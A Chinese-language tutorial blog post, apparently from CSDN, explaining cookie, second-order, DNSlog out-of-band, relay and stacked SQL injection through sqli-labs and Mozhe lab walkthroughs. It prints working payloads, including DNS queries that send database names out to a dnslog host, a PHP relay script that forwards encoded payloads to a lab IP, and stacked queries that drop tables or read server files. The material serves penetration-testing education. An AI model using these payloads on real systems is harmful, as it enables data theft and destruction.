(17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程
目录
cookie注入
sqli-lasb-master less-21
方法一:用burpsuite进行抓包后修改
方法二:安装火狐的cookie manager等插件进行修改cookie
第一步:先将注入语句转换为base64加密后密文
第二步: 将加密后密文填到cookie value里并保存
第三步:刷新页面,使cookie重新加载
二次注入
原理:
不同点:
二次注入的过程:
第一步:构造恶意语句
第二步:插入恶意数据
第三步:第二次构造语句,引用恶意数据
sqli-labs-master less-24
第一步:构造一个带转义字符的语句
第二步:通过注册新用户,将语句注入数据库
第三步:二次注入调用数据库中转义语句
DNSlog注入
DNSlog平台:
DNSlog注入原理
前提条件:
如何查看:
如何设置:
相关函数:
UNC路径
DNSlog注入
第一步:Get SubDomain 获得域名
第二步:构造注入语句
DNSlongsqlinj工具的使用
中转注入
中转注入介绍:
中转注入墨者靶场:
第一步:在本地利用phpstudy搭建一个网站,并写文件a.php
第二步:访问本地文件a.php就相当于访问墨者靶场环境
第三步:利用sqlmap对本地网站进行扫描攻击,相当于在扫描墨者靶场环境
堆叠注入:
原理:
使用情况分析:
使用MySQL分析堆叠注入:
第一步:使用堆叠查询构造多条语句
第二步:查看语句是否成功执行
第三步:删除test,再查询
第四步:执行其它查询语句
cookie注入
sqli-lasb-master less-21
用admin登录进去,可以看出这是cookie注入,value一看就是加密过
YWRtaW4%3D 中的%3D 对应URL码中的 =
一般get和post的参数采用base64等加密方式将数据进行加密,再通过参数传递给服务器
----->YWRtaW4= ---------> admin
方法一:用burpsuite进行抓包后修改
方法二:安装火狐的cookie manager等插件进行修改cookie
第一步:先将注入语句转换为base64加密后密文
第二步: 将加密后密文填到cookie value里并保存
第三步:刷新页面,使cookie重新加载
二次注入
原理:
攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。
不同点:
无法通过扫描工具或者手工测试出来,二次注入一般在审计代码过程中发现
从前端或黑盒测试无法看到
二次注入的过程:
第一步:构造恶意语句
语句含有被转义字符的恶意查询语句
第二步:插入恶意数据
进行数据库插入数据时,对其中特殊字符进行了转义处理,在写入数据库时保留了原来的数据。
第三步:第二次构造语句,引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验
sqli-labs-master less-24
第一步:构造一个带转义字符的语句
注册账户:admin'#
密码:123456
第二步:通过注册新用户,将语句注入数据库
第三步:二次注入调用数据库中转义语句
登录进去后,此时更改admin'#密码
相当于:
update password=$new where username=admin'#
(admin后引号对前面的单引号进行了闭合,#注释掉了后面的语句,就相当于对admin进行了改密)
DNSlog注入
DNSlog平台:
http://www.dnslog.cn
http://ceye.io
http://admin.dnslog.link
DNSlog注入原理
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度
前提条件:
dns带外查询属于MySQL注入
在MySQL中有个系统属性,secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
如何查看:
手动打开数据库,新版phpstudy启动MySQL命令符图解过程_黑色地带(崛起)的博客-CSDN博客
是否配置好,打开数据库
因为我的secure_file_priv设置过,所以没有任何限制
如何设置:
打开MySQL文件夹,打开my.ini配置文件
把这里改为空,如果没有这一段代码,则手动加上去
然后重启数据库
相关函数:
LOAD_FILE()函数
读取一个文件并将其内容作为字符串返回
语法:load_file(文件的完整路径)
此函数使用需要满足的条件
文件必须位于服务器主机上,具有该FILE权限才能读取该文件,拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,并且它的大小小于max_allowed_packet字节
UNC路径
格式为
\\servername\sharename\……
servername 是服务器名,sharename 是共享资源的名称
DNSlog注入
第一步:Get SubDomain 获得域名
第二步:构造注入语句
(根据实际情况构造)
select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))
select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))
load_file()函数访问的是文件,所以域名后面需要添加/abc
成功注入后,在数据库中运行
第三步:查看域名头部,带出了查询的信息
注意:外带信息有特殊字符,如@
可以将查询语句后的结果进行转码
即上面的(select database())-------->hex(select database())等形式
DNSlongsqlinj工具的使用
ADOOO/DnslogSqlinj (github.com)
中转注入
中转注入介绍:
网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击。或者sqlmap自己编写tamper脚本进行攻击
中转注入墨者靶场:
可以看出URL是通过base加密过的
第一步:在本地利用phpstudy搭建一个网站,并写文件a.php
<?php
$id = base64_encode($_GET['id']);
echo file_get_contents("http://219.153.49.228:46221/show.php?id=$id");
?>
或者
<?php
$url='http://www.xxx.com/?id=';
$playload=base64_decode($_GET['x']);
$urls=$url.$playload;
file_get_contents($urls);
?>
第二步:访问本地文件a.php就相当于访问墨者靶场环境
第三步:利用sqlmap对本地网站进行扫描攻击,相当于在扫描墨者靶场环境
堆叠注入:
原理:
就是将语句堆叠在一起进行查询,即可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造自己要执行的恶意语句。
利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行
使用情况分析:
?id=1
?id=1'
?id=1'%23 (%23代表#)
(?id=1返回正常, ?id=1'返回错误, ?id=1'%23返回正常)
则考虑使用boolean注入、时间盲注、堆叠注入
使用MySQL分析堆叠注入:
第一步:使用堆叠查询构造多条语句
select * from users where id=1;create table test like users;
第二步:查看语句是否成功执行
show tables;
第三步:删除test,再查询
select * from users where id=1;drop table test;
show tables;
(被成功执行了)
第四步:执行其它查询语句
查数据库当前用户,版本
select * from user where id=1;select 1,user(),database();
加载文件
select * from user where id=1;select load_file('文件路径');
修改数据
select * from user where id=1;insert into user(username,password) values ('好好学习','123456');
(17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程相关推荐
- SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用
Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...
- 动手造轮子:实现一个简单的依赖注入(二) --- 服务注册优化
动手造轮子:实现一个简单的依赖注入(二) --- 服务注册优化 Intro 之前实现的那版依赖注入框架基本可用,但是感觉还是不够灵活,而且注册服务和解析服务在同一个地方感觉有点别扭,有点职责分离不够. ...
- 报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例
「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 报错注入 一. ...
- 【Android 逆向】Android 进程注入工具开发 ( 总结 | 源码编译 | 逆向环境搭建使用 | 使用进程注入工具进行逆向操作 ) ★★★
文章目录 一.Android 进程注入工具开发系列博客 二.Android 进程注入工具 源码下载编译 三.逆向环境搭建 四.使用注入工具进行逆向操作 1.获取远程进程号 2.注入工具准备 3.注入动 ...
- mysql数据库sql注入原理_sql注入原理详解(一)
防止SQL注入: 1.开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置 2.执行sql语句时使用addslashes进行sql语句转换 3.Sql语句书写 ...
- SQL注入攻击实现原理与攻击过程详解
SQL注入攻击实现原理与攻击过程详解 结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...
- Android WebView注入js文件,判断当前HTML有没有某个js然后再注入
Android WebView注入js文件,判断当前HTML有没有某个js然后再注入 1.注入js代码 判断当前有没有jQuery文件引入,然后再进行注入. 判断依据其实很简单,获取script 的d ...
- 深度学习笔记(17) 误差分析(二)
深度学习笔记(17) 误差分析(二) 1. 使用来自不同分布的数据进行误差分析 2. 数据分布不匹配时的偏差与方差 3. 处理数据不匹配问题 1. 使用来自不同分布的数据进行误差分析 越来越多的团队都 ...
- SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入
加密注入.二次漏洞注入.DNSlog注入 加密注入: 什么是加密注入??下面将由一个例子阐述: 以sqlilabs-less-21为例 1.在登录界面输入账户密码提交抓包 2.在抓到这条数据,将uma ...
最新文章
- luvit 被忽视的lua 高性能框架(仿nodejs)
- 【OpenCV学习】抠图
- 【源码学习之spark core 1.6.1 各种部署模式所使用的的TaskSceduler及SchedulerBackend】...
- linux常用的服务配置
- Springboot 2.x版本 RedisCacheManager 类的配置,【与1.x 略有不同】
- IDEA Maven的下载和配置
- 2021年河南省高考成绩位次查询,2021年河南高考分数一分一段位次表,河南高考个人成绩排名查询方法...
- 物联网搜集大量数据协助制定业务策略 成为银行业竞争利器
- Oracle MERGE用法
- GI OPatch升级 The opatch Component check failed. This patch is not applicable for...
- 思科安全代理 CSA 概述
- 装双系统win10和android,厉害了小米6!不仅骁龙835,还支持安卓和win10双系统
- 免费文章原创度检测工具
- STM32L476低功耗—进入STOP2模式4s后LPTIM中断唤醒+功率实测
- 从技术新趋势到云原生应用开发,云计算下一个十年将走向何方
- 正则匹配特殊符号及标点符号
- lightdm开机无法自启问题
- 游戏项目框架(属性名+方法名)
- LA-3713-TwoSAT
- Python网络爬虫与信息提取(中国大学mooc)